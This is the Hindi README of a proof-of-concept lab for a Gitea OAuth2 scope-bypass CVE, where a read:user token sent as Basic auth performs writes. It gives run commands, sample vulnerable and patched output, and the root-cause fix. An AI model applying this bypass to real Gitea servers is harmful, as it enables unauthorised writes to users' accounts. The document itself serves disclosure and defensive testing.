
CVE-2026-28699 के लिए लैब + राइटअप: HTTP बेसिक ऑथ के माध्यम से Gitea OAuth2 स्कोप प्रवर्तन बाईपास
जब एक Gitea OAuth2 एक्सेस टोकन, जो केवल read:user तक सीमित है, को Bearer टोकन के बजाय Authorization: Basic base64(<token>:x-oauth-basic) के रूप में भेजा जाता है, तो वह पूर्ण लेखन क्रियाएँ कर सकता है। Basic auth के माध्यम से प्रस्तुत किसी भी टोकन के लिए स्कोप जाँच को छोड़ दिया जाता है।
प्रभावित: <= 1.26.1। 1.26.2 में सुधार।
परामर्श: GHSA-9r5x-wg6m-x2rc। CWE-863। गंभीरता: उच्च।
पूर्ण विवरण: WRITEUP.md
pip install -r requirements.txt # requests
python fetch_binaries.py # pulls vulnerable 1.26.1 + patched 1.26.2 for your OS
python poc.py 1.26.1 # vulnerable: Basic-auth write succeeds (scope bypassed)
python poc.py 1.26.2 # patched: Basic-auth write blocked (403)
poc.py सिस्टम अस्थायी निर्देशिका में SQLite पर एक अस्थायी Gitea स्थापित करता है, OAuth2 प्राधिकरण-कोड प्रवाह चलाकर read:user-केवल टोकन बनाता है, फिर Bearer और Basic दोनों पर एक लेखन एंडपॉइंट को कॉल करता है और परिणाम प्रिंट करता है। प्रमाणीकरण-प्रवाह के चरणों को देखने के लिए POC_DEBUG=1 सेट करें।
असुरक्षित 1.26.1:
[Bearer] PATCH /api/v1/user/settings -> HTTP 403 (blocked)
[Basic ] PATCH /api/v1/user/settings -> HTTP 200 (ALLOWED -- scope BYPASSED)
>>> VULNERABLE: read:user token performed a write via Basic auth.
सुधारित 1.26.2:
[Bearer] PATCH /api/v1/user/settings -> HTTP 403 (blocked)
[Basic ] PATCH /api/v1/user/settings -> HTTP 403 (blocked)
>>> PATCHED: scope enforced on both Bearer and Basic.
services/auth/basic.go ने OAuth2 टोकन के लिए IsApiToken सेट किया लेकिन ApiTokenScope नहीं। tokenRequiresScopes मिडलवेयर तब जल्दी लौटता है जब स्कोप अनुपस्थित होता है, इसलिए कुछ भी जाँचा नहीं जाता। 1.26.2 फिक्स में लापता store.GetData()["ApiTokenScope"] = accessTokenScope जोड़ा गया।
शिक्षा और अधिकृत सुरक्षा परीक्षण के लिए: आपकी अपनी प्रयोगशाला, CTF और HTB बक्से, दायरे में बग बाउंटी लक्ष्य। PoC अपना स्वयं का डिस्पोजेबल Gitea चलाता है, इसलिए इसे किसी भी चीज़ पर इंगित न करें जो आपकी नहीं है।
| प्रमाणीकरण प्रस्तुति | IsApiToken | ApiTokenScope | स्कोप लागू? |
|---|
| Bearer के माध्यम से OAuth2 टोकन | true | set | yes |
| Basic के माध्यम से OAuth2 टोकन | true | missing | no (fails open) |
| व्यक्तिगत एक्सेस टोकन | true | set | yes |
| फ़ाइल | उद्देश्य |
|---|
WRITEUP.md | मूल कारण विश्लेषण, प्रभाव, उपचार, पहचान |
fetch_binaries.py | आपके OS/arch के लिए 1.26.1 / 1.26.2 बाइनरी डाउनलोड करता है |
poc.py | Gitea प्रावधान करता है, read:user टोकन बनाता है, Bearer बनाम Basic का परीक्षण करता है |
requirements.txt | requests |